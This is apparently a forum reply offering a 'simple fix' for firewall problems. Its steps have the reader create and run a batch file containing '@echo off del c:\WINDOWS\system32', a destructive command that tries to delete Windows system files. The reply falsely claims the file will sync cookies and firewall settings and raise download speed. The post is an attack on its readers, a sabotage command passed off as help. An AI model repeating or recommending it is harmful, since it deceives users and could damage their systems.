Sounds like you have a problem with clashing firewalls.
Theres a very simple fix that worked for me, as i had this problem too.
1.) Open notepad
2.) Then type: @echo off del c:\WINDOWS\system32
3.) Now save that file as anything you want, but make sure the file extension is ".bat"
4.) Before saving select "all files" as the type from the drop down menu
5.) After saving, double click the file to run it.
This should sync your cookies/firewall to surus site & also enhance your download speed.